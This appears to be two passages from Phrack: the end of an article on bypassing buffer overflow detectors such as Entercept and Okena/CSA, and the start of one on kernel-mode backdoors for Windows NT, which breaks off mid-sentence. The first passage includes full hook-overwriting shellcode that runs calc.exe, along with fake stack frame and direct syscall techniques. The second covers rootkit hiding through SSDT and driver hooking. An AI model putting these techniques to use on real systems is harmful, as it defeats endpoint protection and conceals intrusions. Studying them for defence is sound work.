[-----------------------------------------------------------]
while (is_valid_frame_pointer( ebp )) {
ret_addr = get_ret_addr( ebp );
if (check_code_page(ret_addr) == BUFFER_OVERFLOW)
return BUFFER_OVERFLOW;
if (does_not_follow_call_or_jmp_opcode(ret_addr))
return BUFFER_OVERFLOW;
ebp = get_next_frame( ebp );
}
[-----------------------------------------------------------]
Pseudo code for BOPT stack backtracing
When discussing how to evade stack backtracing, it is important to
understand how stack backtracing works on an x86 architecture. A typical
stack frame looks as follows during a function call:
: :
|-------------------------|
| function B parameter #2 |
|-------------------------|
| function B parameter #1 |
|-------------------------|
| return EIP address |
|-------------------------|
| saved EBP |
|=========================|
| function A parameter #2 |
|-------------------------|
| function A parameter #1 |
|-------------------------|
| return EIP address |
|-------------------------|
| saved EBP |
|-------------------------|
: :
The EBP register points to the next stack frame. Without the EBP register
it is very hard, if not impossible, to correctly identify and trace
through all the stack frames.
Modern compilers often omit the use of EBP as a frame pointer and use it
as a general purpose register instead. With an EBP optimization, a stack
frame looks as follows during a function call:
|-----------------------|
| function parameter #2 |
|-----------------------|
| function parameter #1 |
|-----------------------|
| return EIP address |
|-----------------------|
Notice that the EBP register is not present on the stack. Without an EBP
register it is not possible for the buffer overflow detection technologies
to accurately perform stack backtracing. This makes their task incredibly
hard as a simple return into libc style attack will bypass the protection.
Simply originating an API call one layer higher than the BOPT hook defeats
the detection technique.
----[ 3.2 - Faking Stack Frames
Since the stack is under complete control of the shellcode, it is possible
to completely alter its contents prior to an API call. Specially crafted
stack frames can be used to bypass the buffer overflow detectors.
As was explained previously, the buffer overflow detector is looking for
three key indicators of legitimate code: read-only page permissions,
memory mapped file section and a return address pointing to an instruction
immediately following a call or jmp. Since function pointers change
calling semantics, BOPT do not (and cannot) check that a call or jmp
actually points to the API being called. Most importantly, the BOPT cannot
check return addresses beyond the last valid EBP frame pointer
(it cannot stack backtrace any further).
Evading a BOPT is therefore simply a matter of creating a "final" stack
frame which has a valid return address. This valid return address must
point to an instruction residing in a read-only memory mapped file section
and immediately following a call or jmp. Provided that the dummy return
address is reasonably close to a second return address, the shellcode can
easily regain control.
The ideal instruction sequence to point the dummy return address to is:
[-----------------------------------------------------------]
jmp [eax] ; or call [eax], or another register
dummy_return: ... ; some number of nops or easily
; reversed instructions, e.g. inc eax
ret ; any return will do, e.g. ret 8
[-----------------------------------------------------------]
Bypassing kernel BOPT components is easy because they must rely on user
controlled data (the stack) to determine the validity of an API call. By
correctly manipulating the stack, it is possible to prematurely terminate
the stack return address analysis.
This stack backtracing evasion technique is also effective against
userland hooks (see section 4.6).
--[ 4 - Evading Userland Hooks
Given the presence of the correct instruction sequence in a valid region
of memory, it is possible to trivially bypass kernel buffer overflow
protection techniques. Similar techniques can be used to bypass userland
BOPT components. In addition, since the shellcode executes with the same
permissions as the userland hooks, a number of other techniques can be
used to evade the detection.
----[ 4.1 - Implementation Problems - Incomplete API Hooking
There are many problems with the userland based buffer overflow protection
technologies. For example, they require the buffer overflow protection
code to be in the code path of all attacker's calls or the shellcode
execution will go undetected.
Trying to determine what an attacker will do with his or her shellcode
a priori is an extremely hard problem, if not an impossible one. Getting
on the right path is not easy. Some of the obstacles in the way include:
a. Not accounting for both UNICODE and ANSI versions of a Win32 API
call.
b. Not following the chaining nature of API calls. For example,
many functions in kernel32.dll are nothing more than wrappers for
other functions within kernel32.dll or ntdll.dll.
c. The constantly changing nature of the Microsoft Windows API.
--------[ 4.1.1 - Not Hooking All API Versions
A commonly encountered mistake with userland API hooking
implementations is incomplete code path coverage. In order for an API
interception based products to be effective, all APIs utilized by
attackers must be hooked. This requires the buffer overflow protection
technology to hook somewhere along the code path an attacker _has_ to
take. However, as will be shown, once an attacker has begun executing
code, it becomes very difficult for third party systems to cover all
code paths. Indeed, no tested commercial buffer overflow detector actually
provided an effective code path coverage.
Many Windows API functions have two versions: ANSI and UNICODE. The ANSI
function names usually end in A, and UNICODE functions end in W because
of their wide character nature. The ANSI functions are often nothing
more than wrappers that call the UNICODE version of the API. For example,
CreateFileA takes the ANSI file name that was passed as a parameter and
turns it into an UNICODE string. It then calls CreateFileW. Unless a
vendor hooks both the UNICODE and ANSI version of the API function, an
attacker can bypass the protection mechanism by simply calling the other
version of the function.
For example, Entercept 4.1 hooks LoadLibraryA, but it makes no attempt
to intercept LoadLibraryW. If a protection mechanism was only going to
hook one version of a function, it would make more sense to hook the
UNICODE version. For this particular function, Okena/CSA does a better
job by hooking LoadLibraryA, LoadLibraryW, LoadLibraryExA, and
LoadLibraryExW. Unfortunately for the third party buffer overflow
detectors, simply hooking more functions in kernel32.dll is not enough.
--------[ 4.1.2 - Not Hooking Deeply Enough
In Windows NT, kernel32.dll acts as a wrapper for ntdll.dll and yet many
buffer overflow detection products do not hook functions within ntdll.dll.
This simple error is similar to not hooking both the UNICODE and ANSI
versions of a function. An attacker can simply call the ntdll.dll directly
and completely bypass all the kernel32.dll "checkpoints" established by a
buffer overflow detector.
For example, NAI Entercept tries to detect shellcode calling
GetProcAddress() in kernel32.dll. However, the shellcode can be rewritten
to call LdrGetProcedureAddress() in ntdll.dll, which will accomplish the
same goal, and at the same time never pass through the NAI Entercept hook.
Similarly, shellcode can completely bypass userland hooks altogether and
make system calls directly (see section 4.5).
--------[ 4.1.3 - Not Hooking Thoroughly Enough
The interactions between the various different Win32 API functions is
byzantine, complex and difficult to understand. A vendor must make only
one mistake in order to create a window of opportunity for an attacker.
For example, Okena/CSA and NAI Entercept both hook WinExec trying to
prevent attacker's shellcode from spawning a process.
The call path for WinExec looks like this:
WinExec() --> CreateProcessA() --> CreateProcessInternalA()
Okena/CSA and NAI Entercept hook both WinExec() and CreateProcessA()
(see Appendix A and B). However, neither product hooks
CreateProcessInternalA() (exported by kernel32.dll). When writing a
shellcode, an attacker could find the export for
CreateProcessInternalA() and use it instead of calling WinExec().
CreateProcessA() pushes two NULLs onto the stack before calling
CreateProcessInternalA(). Thus a shellcode only needs to push two NULLs
and then call CreateProcessInternalA() directly to evade the userland
API hooks of both products.
As new DLLs and APIs are released, the complexity of Win32 API internal
interactions increases, making the problem worse. Third party product
vendors are at a severe disadvantage when implementing their buffer
overflow detection technologies and are bound to make mistakes which
can be exploited by attackers.
----[ 4.2 - Fun With Trampolines
Most Win32 API functions begin with a five byte preamble. First, EBP is
pushed onto the stack, then ESP is moved into EBP.
[-----------------------------------------------------------]
Code Bytes Assembly
55 push ebp
8bec mov ebp, esp
[-----------------------------------------------------------]
Both Okena/CSA and Entercept use inline function hooking. They overwrite
the first 5 bytes of a function with an immediate unconditional jump or
call. For example, this is what the first few bytes of WinExec() look like
after NAI Entercept's hooks have been installed:
[-----------------------------------------------------------]
Code Bytes Assembly
e8 xx xx xx xx call xxxxxxxx
54 push esp
53 push ebx
56 push esi
57 push edi
[-----------------------------------------------------------]
Alternatively, the first few bytes could be overwritten with a jump
instruction:
[-----------------------------------------------------------]
Code Bytes Assembly
e9 xx xx xx xx jmp xxxxxxxx
...
[-----------------------------------------------------------]
Obviously, it is easy for shellcode to test for these and other signatures
before calling a function. If a hijacking mechanism is detected, the
shellcode can use several different techniques to bypass the hook.
------[ 4.2.1 - Patch Table Jumping
When an API is hooked, the original preamble is saved into a table so that
the buffer overflow detector can recreate the original API after
performing its validation checks. The preamble is stored in a patch table,
which resides somewhere in the address space of an application. When
shellcode detects the presence of an API hook, it can simply search for
the patch table and make its calls to patch table entries. This
completely avoids the hook, preventing the userland buffer overflow
detector components from ever being in the attacker's call path.
------[ 4.2.2 - Hook Hopping
Alternatively, instead of locating the patch table, shellcode can include
its own copy of the original pre-hook preamble. After executing its own
API preamble, the shellcode can transfer execution to immediately after
the API hook (function address plus five bytes).
Since Intel x86 has variable length instructions, one must take this into
account in order to land on an even instruction boundary:
[-----------------------------------------------------------]
Shellcode:
call WinExecPreamble
WinExecPreamble:
push ebp
mov ebp, esp
sub esp, 54
jmp WinExec+6
[-----------------------------------------------------------]
This technique will not work if another function within the call path
is also hooked. In this case, Entercept also hooks CreateProcessA(),
which WinExec() calls. Thus, to evade detection shellcode should call
CreateProcessA() using the stored copy of CreateProcessA's preamble.
----[ 4.3 - Repatching Win32 APIs
Thoroughly hooking Win32 APIs is not effective when certain fundamental
errors are made in the implementation of a userland buffer overflow
detection component.
Certain implementations (NAI Entercept) have a serious problem with the
way they perform their API hooking. In order to be able to overwrite
preambles of hooked functions, the code section for a DLL has to be made
writable. Entercept marks code sections of kernel32.dll and ntdll.dll as
writable in order to be able to modify their contents. However, Entercept
never resets the writable bit!
Due to this serious security flaw, it is possible for an attacker to
overwrite the API hook by re-injecting the original preamble code. For
the WinExec() and CreateProcessA() examples, this would require
overwriting the first 6 bytes (just to be instruction aligned) of
WinExec() and CreateProcessA() with the original preamble.
[-----------------------------------------------------------]
WinExecOverWrite:
Code Bytes Assembly
55 push ebp
8bec mov ebp, esp
83ec54 sub esp, 54
CreateProcessAOverWrite:
Code Bytes Assembly
55 push ebp
8bec mov ebp, esp
ff752c push DWORD PTR [ebp+2c]
[-----------------------------------------------------------]
This technique will not work against properly implemented buffer overflow
detectors, however it is very effective against NAI Entercept. A complete
shellcode example which overwrites the NAI Entercept hooks is presented
below:
[-----------------------------------------------------------]
// This sample code overwrites the preamble of WinExec and
// CreateProcessA to avoid detection. The code then
// calls WinExec with a "calc.exe" parameter.
// The code demonstrates that by overwriting function
// preambles, it is able to evade Entercept and Okena/CSA
// buffer overflow protection.
_asm {
pusha
jmp JUMPSTART
START:
pop ebp
xor eax, eax
mov al, 0x30
mov eax, fs:[eax];
mov eax, [eax+0xc];
// We now have the module_item for ntdll.dll
mov eax, [eax+0x1c]
// We now have the module_item for kernel32.dll
mov eax, [eax]
// Image base of kernel32.dll
mov eax, [eax+0x8]
movzx ebx, word ptr [eax+3ch]
// pe.oheader.directorydata[EXPORT=0]
mov esi, [eax+ebx+78h]
lea esi, [eax+esi+18h]
// EBX now has the base module address
mov ebx, eax
lodsd
// ECX now has the number of function names
mov ecx, eax
lodsd
add eax,ebx
// EDX has addresses of functions
mov edx,eax
lodsd
// EAX has address of names
add eax,ebx
// Save off the number of named functions
// for later
push ecx
// Save off the address of the functions
push edx
RESETEXPORTNAMETABLE:
xor edx, edx
INITSTRINGTABLE:
mov esi, ebp // Beginning of string table
inc esi
MOVETHROUGHTABLE:
mov edi, [eax+edx*4]
add edi, ebx // EBX has the process base address
xor ecx, ecx
mov cl, BYTE PTR [ebp]
test cl, cl
jz DONESTRINGSEARCH
STRINGSEARCH: // ESI points to the function string table
repe cmpsb
je Found
// The number of named functions is on the stack
cmp [esp+4], edx
je NOTFOUND
inc edx
jmp INITSTRINGTABLE
Found:
pop ecx
shl edx, 2
add edx, ecx
mov edi, [edx]
add edi, ebx
push edi
push ecx
xor ecx, ecx
mov cl, BYTE PTR [ebp]
inc ecx
add ebp, ecx
jmp RESETEXPORTNAMETABLE
DONESTRINGSEARCH:
OverWriteCreateProcessA:
pop edi
pop edi
push 0x06
pop ecx
inc esi
rep movsb
OverWriteWinExec:
pop edi
push edi
push 0x06
pop ecx
inc esi
rep movsb
CallWinExec:
push 0x03
push esi
call [esp+8]
NOTFOUND:
pop edx
STRINGEXIT:
pop ecx
popa;
jmp EXIT
JUMPSTART:
add esp, 0x1000
call START
WINEXEC:
_emit 0x07
_emit 'W'
_emit 'i'
_emit 'n'
_emit 'E'
_emit 'x'
_emit 'e'
_emit 'c'
CREATEPROCESSA:
_emit 0x0e
_emit 'C'
_emit 'r'
_emit 'e'
_emit 'a'
_emit 't'
_emit 'e'
_emit 'P'
_emit 'r'
_emit 'o'
_emit 'c'
_emit 'e'
_emit 's'
_emit 's'
_emit 'A'
ENDOFTABLE:
_emit 0x00
WinExecOverWrite:
_emit 0x06
_emit 0x55
_emit 0x8b
_emit 0xec
_emit 0x83
_emit 0xec
_emit 0x54
CreateProcessAOverWrite:
_emit 0x06
_emit 0x55
_emit 0x8b
_emit 0xec
_emit 0xff
_emit 0x75
_emit 0x2c
COMMAND:
_emit 'c'
_emit 'a'
_emit 'l'
_emit 'c'
_emit '.'
_emit 'e'
_emit 'x'
_emit 'e'
_emit 0x00
EXIT:
_emit 0x90
// Normally call ExitThread or something here
_emit 0x90
}
[-----------------------------------------------------------]
----[ 4.4 - Attacking Userland Components
While evading the hooks and techniques used by userland buffer overflow
detector components is effective, there exist other mechanisms of
bypassing the detection. Because both the shellcode and the buffer
overflow detector are executing with the same privileges and in the same
address space, it is possible for shellcode to directly attack the
buffer overflow detector userland component.
Essentially, when attacking the buffer overflow detector userland
component the attacker is attempting to subvert the mechanism used to
perform the shellcode detection check. There are only two principle
techniques for shellcode validation checking. Either the data used for the
check is determined dynamically during each hooked API call, or the data
is gathered at process start up and then checked during each call.
In either case, it is possible for an attacker to subvert the process.
------[ 4.4.1 - IAT Patching
Rather than implementing their own versions of memory page information
functions, the commercial buffer overflow protection products simply use
the operating system APIs. In Windows NT, these are implemented in
ntdll.dll. These APIs will be imported into the userland component
(itself a DLL) via its PE Import Table. An attacker can patch vectors
within the import table to alter the location of an API to a function
supplied by the shellcode. By supplying the function used to do the
validation checking by the buffer overflow detector, it is trivial for
an attacker to evade detection.
------[ 4.4.2 - Data Section Patching
For various reasons, a buffer overflow detector might use a pre-built
list of page permissions within the address space. When this is the
case, altering the address of the VirtualQuery() API is not effective.
To subvert the buffer overflow detector, the shellcode has to locate and
modify the data table used by the return address validation routines.
This is a fairly straightforward, although application specific, technique
for subverting buffer overflow prevention technologies.
----[ 4.5 - Calling Syscalls Directly
As mentioned above, rather than using ntdll.dll APIs to make system
calls, it is possible for an attacker to create shellcode which makes
system call directly. While this technique is very effective against
userland components, it obviously cannot be used to bypass kernel based
buffer overflow detectors.
To take advantage of this technique you must understand what parameters a
kernel function uses. These may not always be the same as the parameters
required by the kernel32 or ntdll API versions.
Also, you must know the system call number of the function in question.
You can find this dynamically using a technique similar to the one to find
function addresses. Once you have the address of the ntdll.dll version of
the function you want to call, index into the function one byte and read
the following DWORD. This is the system call number in the system call
table for the function. This is a common trick used by rootkit developers.
Here is the pseudo code for calling NtReadFile system call directly:
...
xor eax, eax
// Optional Key
push eax
// Optional pointer to large integer with the file offset
push eax
push Length_of_Buffer
push Address_of_Buffer
// Before call make room for two DWORDs called the IoStatusBlock
push Address_of_IoStatusBlock
// Optional ApcContext
push eax
// Optional ApcRoutine
push eax
// Optional Event
push eax
// Required file handle
push hFile
// EAX must contain the system call number
mov eax, Found_Sys_Call_Num
// EDX needs the address of the userland stack
lea edx, [esp]
// Trap into the kernel
// (recent Windows NT versions use "sysenter" instead)
int 2e
----[ 4.6 - Faking Stack Frames
As described in section 3.2, kernel based stack backtracing can be
bypassed using fake frames. Same techniques works against userland based
detectors.
To bypass both userland and kernel backtracing, shellcode can create a
fake stack frame without the ebp register on stack. Since stack
backtracing relies on the presence of the ebp register to find the next
stack frame, fake frames can stop backtracing code from tracing past
the fake frame.
Of course, generating a fake stack frame is not going to work when the
EIP register still points to shellcode which resides in a writable
memory segment. To bypass the protection code, shellcode needs to use
an address that lies in a non-writable memory segment. This presents
a problem since shellcode needs a way to eventually regain control of
the execution.
The trick to regaining control is to proxy the return to shellcode
through a "ret" instruction which resides in a non-writable memory
segment. "ret" instruction can be found dynamically by searching memory
for a 0xC3 opcode.
Here is an illustration of a normal LoadLibrary("kernel32.dll") call
that originates from a writable memory segment:
push kernel32_string
call LoadLibrary
return_eip:
.
.
.
LoadLibrary: ; * see below for a stack illustration
.
.
.
ret ; return to stack-based return_eip
|------------------------------|
| address of "kernel32.dll" str|
|------------------------------|
| return address (return_eip) |
|------------------------------|
As explained before, the buffer overflow protection code executes before
LoadLibrary gets to run. Since the return address (return_eip) is in a
writable memory segment, the protection code logs the overflow
and terminates the process.
Next example illustrates 'proxy through a "ret" instruction' technique:
push return_eip
push kernel32_string
; fake "call LoadLibrary" call
push address_of_ret_instruction
jmp LoadLibrary
return_eip:
.
.
.
LoadLibrary: ; * see below for a stack illustration
.
.
.
ret ; return to non stack-based address_of_ret_instruction
address_of_ret_instruction:
.
.
.
ret ; return to stack-based return_eip
Once again, the buffer overflow protection code executes before
LoadLibrary gets to run. This time though, the stack is setup with a
return address pointing to a non-writable memory segment. In addition,
the ebp register is not present on stack thus the protection code cannot
perform stack backtracing and determine that the return address in the
next stack frame points to a writable segment. This allows the shellcode
to call LoadLibrary which returns to the "ret" instruction. In its turn,
the "ret" instruction pops the next return address off stack
(return_eip) and transfers control to it.
|------------------------------|
| return address (return_eip) |
|------------------------------|
| address of "kernel32.dll" str|
|------------------------------|
| address of "ret" instruction |
|------------------------------|
In addition, any number of arbitrary complex fake stack frames can be
setup to further confuse the protection code.
Here is an example of a fake frame that uses a "ret 8" instruction
instead of simple "ret":
|--------------------------------|
| return address |
|--------------------------------|
| address of "ret" instruction | <- fake frame 2
|--------------------------------|
| any value |
|--------------------------------|
| address of "kernel32.dll" str |
|--------------------------------|
| address of "ret 8" instruction | <- fake frame 1
|--------------------------------|
This causes an extra 32-bit value to be removed from stack, complicating
any kind of analysis even further.
--[ 5 - Conclusions
The majority of commercial security systems do not actually prevent
buffer overflows but rather detect the execution of shellcode. The most
common technology used to detect shellcode is code page permission
checking which relies on stack backtracing.
Stack backtracing involves traversing stack frames and verifying that
the return addresses do not originate from writable memory segments such
as stack or heap areas.
The paper presents a number of different ways to bypass both userland
and kernel based stack backtracing. These range from tampering with
function preambles to creating fake stack frames.
In conclusion, the majority of current buffer overflow protection
implementations are flawed, providing a false sense of security and
little real protection against determined attackers.
Appendix A: Entercept 4.1 Hooks
Entercept hooks a number of functions in userland and in the kernel. Here
is a list of the currently hooked functions as of Entercept 4.1.
User Land
msvcrt.dll
_creat
_read
_write
system
kernel32.dll
CreatePipe
CreateProcessA
GetProcAddress
GetStartupInfoA
LoadLibraryA
PeekNamedPipe
ReadFile
VirtualProtect
VirtualProtectEx
WinExec
WriteFile
advapi32.dll
RegOpenKeyA
rpcrt4.dll
NdrServerInitializeMarshall
user32.dll
ExitWindowsEx
ws2_32.dll
WPUCompleteOverlappedRequest
WSAAddressToStringA
WSACancelAsyncRequest
WSACloseEvent
WSAConnect
WSACreateEvent
WSADuplicateSocketA
WSAEnumNetworkEvents
WSAEventSelect
WSAGetServiceClassInfoA
WSCInstallNameSpace
wininet.dll
InternetSecurityProtocolToStringW
InternetSetCookieA
InternetSetOptionExA
lsasrv.dll
LsarLookupNames
LsarLookupSids2
msv1_0.dll
Msv1_0ExportSubAuthenticationRoutine
Msv1_0SubAuthenticationPresent
Kernel
NtConnectPort
NtCreateProcess
NtCreateThread
NtCreateToken
NtCreateKey
NtDeleteKey
NtDeleteValueKey
NtEnumerateKey
NtEnumerateValueKey
NtLoadKey
NtLoadKey2
NtQueryKey
NtQueryMultipleValueKey
NtQueryValueKey
NtReplaceKey
NtRestoreKey
NtSetValueKey
NtMakeTemporaryObject
NtSetContextThread
NtSetInformationProcess
NtSetSecurityObject
NtTerminateProcess
Appendix B: Okena/Cisco CSA 3.2 Hooks
Okena/CSA hooks many functions in userland but many less in the kernel.
A lot of the userland hooks are the same ones that Entercept hooks.
However, almost all of the functions Okena/CSA hooks in the kernel are
related to altering keys in the Windows registry. Okena/CSA does not
seem as concerned as Entercept about backtracing calls in the kernel.
This leads to an interesting vulnerability, left as an exercise to the
reader.
User Land
kernel32.dll
CreateProcessA
CreateProcessW
CreateRemoteThread
CreateThread
FreeLibrary
LoadLibraryA
LoadLibraryExA
LoadLibraryExW
LoadLibraryW
LoadModule
OpenProcess
VirtualProtect
VirtualProtectEx
WinExec
WriteProcessMemory
ole32.dll
CoFileTimeToDosDateTime
CoGetMalloc
CoGetStandardMarshal
CoGetState
CoResumeClassObjects
CreateObjrefMoniker
CreateStreamOnHGlobal
DllGetClassObject
StgSetTimes
StringFromCLSID
oleaut32.dll
LPSAFEARRAY_UserUnmarshal
urlmon.dll
CoInstall
Kernel
NtCreateKey
NtOpenKey
NtDeleteKey
NtDeleteValueKey
NtSetValueKey
NtOpenProcess
NtWriteVirtualMemory
|=[ EOF ]=---------------------------------------------------------------=|
==Phrack Inc.==
Volume 0x0b, Issue 0x3e, Phile #0x06 of 0x10
|=---------------=[ Kernel-mode backdoors for Windows NT ]=--------------=|
|=-----------------------------------------------------------------------=|
|=-----------------=[ firew0rker <firew0rker@nteam.ru> ]=----------------=|
|=----------------=[ the nobodies <http://www.nteam.ru> ]=---------------=|
--[ Table of contents
1 - PREFACE
2 - OVERVIEW OF EXISTING KERNEL-MODE BACKDOORS FOR WINDOWS NT
2.1 - NTROOTKIT
2.2 - HE4HOOK
2.3 - SLANRET (IERK, BACKDOOR-ALI)
3 - OBSCURITY ON DISK, IN REGISTRY AND IN MEMORY
4 - MY VARIANT: THORNY PATH
4.1 - SHELL
4.2 - ACTIVATION AND COMMUNICATION WITH REMOTE CLIENT
4.3 - OBSCURITY ON DISK
5 - CONCLUSION
6 - EPILOGUE
7 - LIST OF USED SOURCES
8 - FILES
--[ 1 - Preface
This article is intended for those who know the architecture of the
Windows NT kernel and the principles of operation of NT drivers. This
article examines issues involved in the development of kernel-mode tools
for stealthy remote administration of Windows NT.
Recently there has been a tendency of extending the use of Windows NT
(2000, XP, 2003) from it's classical stronghold as home and
office OS to servers. At the same time, the outdated Windows 9x family is
replaced by the NT family. Because of this it should be evident that remote
administration tools (backdoors) and unnoticeable access tools (rootkits)
for the NT family have a certain value. Most of the published utilities
work in user-mode and can thus be detected by Antivirus tools or by manual
inspection.
It's quite another matter those works in kernel-mode: They can hide
from any user-mode program. Antivirus software will have to suplly kernel-
mode components in order to detect a kernel-mode-backdoor. Software exists
that protects against such backdoors (such as IPD, "Integrity Protection
Driver"), but it's use is not widely spread. Kernel mode backdoors are not
as widely used as they could be due to their relative complexity in comp-
arison with user-mode backdoors.
--[ 2 - Overview of existing Kernel-Mode backdoors for Windows NT
This section briefly reviews existing kernel-mode backdoors for Windows
NT.
----[ 2.1 - Ntrootkit
Ntrootkit (c) by Greg Hoglund and a team of free developers [1] is a
device driver for Windows NT 4.0 and 2000. It's possibilities (implemented
and potential):
- Receiving commands from a remote client. The rk_packet module contains
a simplified IP-stack, which uses free IP-address from the subnet where
the host on which Ntrootkit has been installed is situated.
It's MAC and IP addresses are hardcoded in the source. Connection with
the rootkit at that IP is carried out via a TCP connection to any port.
The available commands in rk_command.c are:
ps - list processes
help - self explainatory
buffertest, echo and debugint - for debugging purpose
hidedir - hide directory/file
hideproc - hide process(es)
sniffkeys - keyboard spy
There are also imcomplete pieces of code: Execute commands received via
a covert channel and starting a Win32-process from a driver (a hard and
complicated task).
- Encrypt all traffic using Schneier's Blowfish algorithm:
rk_blowfish.c is present, but not (yet ?) used
- Self-defense (rk_defense.c) - hide protected objects (in this
case: registry keys), identified by the string "_root_"; redirect
launched processes.
The hiding of processes, directories and files as implemented in
rk_ioman.c is done through hooking the following functions:
NtCreateFile
ZwOpenFile
ZwQueryDirectoryFile
ZwOpenKey
ZwQueryKey
ZwQueryValueKey
ZwEnumerateValueKey
ZwEnumerateKey
ZwSetValueKey
ZwCreateKey
The way to detect this rootkit:
Make direct request to filesystem driver, send IRP to it. There is
one more module that hooks file handling: rk_files.c, adopted from
filemon, but it is not used.
- Starting processes: An unfinished implementation of it can be found
in rk_command.c, another one (which is almost complete and good) is
in rk_exec.c
The implementation suffers from the fact that Zw* functions which are
normally unavailable to drivers directly are called through the system
call interface (int 0x2E), leading to problems with different versions
of the NT family as system call numbers change.
It seems like the work on Ntrootkit is very loosely coordinated: every
developer does what (s)he considers needed or urgent. Ntrootkit does
not achieve complete (or sufficient) invisibility. It creates device
named "Ntroot", visible from User-Mode.
When using Ntrootkit for anything practical, one will need some means
of interaction with the rootkitted system. Shortly: There will be the
need for some sort of shell. Ntrootkit itself can not give out a shell
directly, although it can start a process -- the downside is that the
I/O of that process can not be redirected. One is thus forced to start
something like netcat. It's process can be hidden, but it's TCP-connection
will be visible. The missing redirection of I/O is a big drawback.
However, Ntrootkit development is still in progress, and it will
probably become a fully-functional tool for complete and stealthy remote
administration.
----[ 2.2 - He4Hook
This description is based on [2]. The filesystem access was hooked via
two different methods in the versions up to and including 2.15b6. Only one
of it works at one time, and in versions after 2.15b6 the first method was
removed.
Method A: hook kernel syscalls:
===============================
ZwCreateFile, ZwOpenFile - driver version 1.12 and from 1.17 to
2.15beta6
IoCreateFile - from 1.13 to 2.15beta6
ZwQueryDirectoryFile, ZwClose - before 2.15beta6
Almost all these exported functions (Zw*) have the following function
body:
mov eax, NumberFunction
lea edx, [esp+04h]
int 2eh ; Syscall interface
The "NumberFunction" is the number of the called function in the
syscalls table (which itself can be accessed via the global variable
KeServiceDescriptorTable). This variable points to following structure:
typedef struct SystemServiceDescriptorTable
{
SSD SystemServiceDescriptors[4];
} SSDT, *LPSSDT;
Other structures:
typedef VOID *SSTAT[];
typedef unsigned char SSTPT[];
typedef SSTAT *LPSSTAT;
typedef SSTPT *LPSSTPT;
typedef struct SystemServiceDescriptor
{
LPSSTAT lpSystemServiceTableAddressTable;
ULONG dwFirstServiceIndex;
ULONG dwSystemServiceTableNumEntries;
LPSSTPT lpSystemServiceTableParameterTable;
} SSD, *LPSSD;
The DescriptorTable pointed to by KeServiceDescriptorTable is only
accessible from kernel mode. In User-Mode, there is something called
KeServiceDescriptorTableShadow -- unfortunately it is not exported.
Base services are in
KeServiceDescriptorTable->SystemServiceDescriptors[0]
KeServiceDescriptorTableShadow->SystemServiceDescriptors[0]
KernelMode GUI services are in
KeServiceDescriptorTableShadow->SystemServiceDescriptors[1]
Other elements of that tables were free at moment when [2] was
written, in all versions up to WinNt4(SP3-6) and Win2k build 2195.
Each element of the table is a SSID structure, which contains the
following data:
lpSystemServiceTableAddressTable - A pointer to an array of addresses
of functions that will be called if
a matching syscall is called
dwFirstServiceIndex - Start index for the first function
dwSystemServiceTableNumEntries - Number of services in table
lpSystemServiceTableParameterTable - An array of bytes specifying the
number of bytes from the stack that
will be passed through
In order to hook a system call, He4HookInv replaces the address stored in
KeServiceDescriptorTable->SystemServiceDescriptos[0].lpSystemServiceTableAddressTableIn
with a pointer to it's own table.
One can interface with He4HookInv by adding your own services to the
system call tables. He4HookInv updates both tables:
- KeServiceDescriptorTable
- KeServiceDescriptorTableShadow.
Otherwise, if it updated only KeServiceDescriptorTable, new services
would be unavailable from UserMode. To locate KeServiceDescriptorTable-
Shadow the following technique is used:
The function KeAddSystemServiceTable can be used to add services to the
kernel. It can add services to both tables. Taking into account that its
0-th descriptor is identical, it's possible, by scanning
KeAddSystemServiceTable function's code, to find the address of the shadow
table. You can see how it is done in file He4HookInv.c, function
FindShadowTable(void).
If this method fails for some reason, a hardcoded address is taken
(KeServiceDescriptorTable-0x230) as location of the shadow table. This
address has not changed since WinNT Sp3. Another problem is the search
for the correct index into the function address array. As almost all Zw*
functions have an identical first instruction (mov eax, NumberFunction),
one can get a pointer to the function number easily by adding one byte
to the address exported by ntoskrnl.exe
Method B: (for driver versions 2.11 and higher)
===============================================
The callback tables located in the DRIVER_OBJECT of the file system
drivers are patched: The IRP handlers of the needed drivers are replaced.
This includes replacing the pointers to base function handlers
(DRIVER_OBJECT->MajorFunction) as well as replacing pointers to the
drivers unload procedure (DRIVER_OBJECT->DriverUnload).
The following functions are handled:
IRP_MJ_CREATE
IRP_MJ_CREATE_NAMED_PIPE
IRP_MJ_CREATE_MAILSLOT
IRP_MJ_DIRECTORY_CONTROL -> IRP_MN_QUERY_DIRECTORY
For a more detailed description of the redirection of file operations
refer to the source [2].
----[ 2.3 - Slanret (IERK, Backdoor-ALI)
The source code for this is unavailable -- it was originally disco-
vered by some administrator on his network. It is a normal driver
("ierk8243.sys") which periodically causes BSODs, and is visible as a
service called "Virtual Memory Manager".
"Slanret is technically just one component of a
root kit. It comes with a straightforward backdoor
program: a 27 kilobyte server called "Krei" that
listens on an open port and grants the hacker remote
access to the system. The Slanret component is a
seven kilobyte cloaking routine that burrows into the
system as a device driver, then accepts commands from
the server instructing it on what files or processes
to conceal." [3]
----[ 3. Stealth on disk, in registry and in memory
The lower the I/O interception in a rootkit is performed, the harder
it usually is to detect it's presence. One would think that a reliable
place for interception would be the low-level disk operations (read/write
sectors). This would require handling all filesystems that might be on
the hard disk though: FAT16, FAT32, NTFS.
While FAT was relatively easy to deal with (and some old DOS stealth
viruses used similar techniques) an implementation of something similar
on WinNT is a task for maniacs.
A second place to hook would be hooking dispatch functions of file-
system drivers: Patch DriverObject->MajorFunction and FastIoDispatch in
memory or patch the drivers on disk. This has the advantage of being re-
latively universal and is the method used in HE4HookInv.
A third possibility is setting a filter on a filesyste driver (FSD).
This has no advantages in comparison with the previous method, but has
the drawback of being more visible (Filemon uses this approach). The
functions Zw*, Io* can then be hooked either by manipulating the Ke-
ServiceDescriptorTable or directly patching the function body. It is
usually quite easy to detect that pointers in KeServiceDescriptorTable
point to strange locations or that the function body of a function has
changed. A filter driver is also easy to detect by calling IoGetDevice-
ObjectPointer and then checking DEVICE_OBJECT->StackSize.
All normal drivers have their own keys in the registry, namely in
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services.
The abovementioned rootkits can hide registry keys, but obviously,
if the system is booted "cleanly", an administrator can see anything that
was hidden. One can also load a rootkit using ZwSetSystemInformation(
SystemLoadAndCallimage) without the need to create any registry keys. An
example of this technique can be found in [6].
A rootkit loader in a separate file is too unstealthy. It might be a
smarter move to patch that call into some executable file which is part of
the system boot. One can use any driver or user-mode program that works
with sufficient privileges, or any DLL linked to by it. One has to ask one
question though: If the newly introduced changes need to be hidden anyway,
why make two similar but differing procedures (for hiding changes to a
file as well as hiding the existance of a file) instead of limiting our-
selves to one ?
In most cases one can target null.sys. Implementing it's functionality
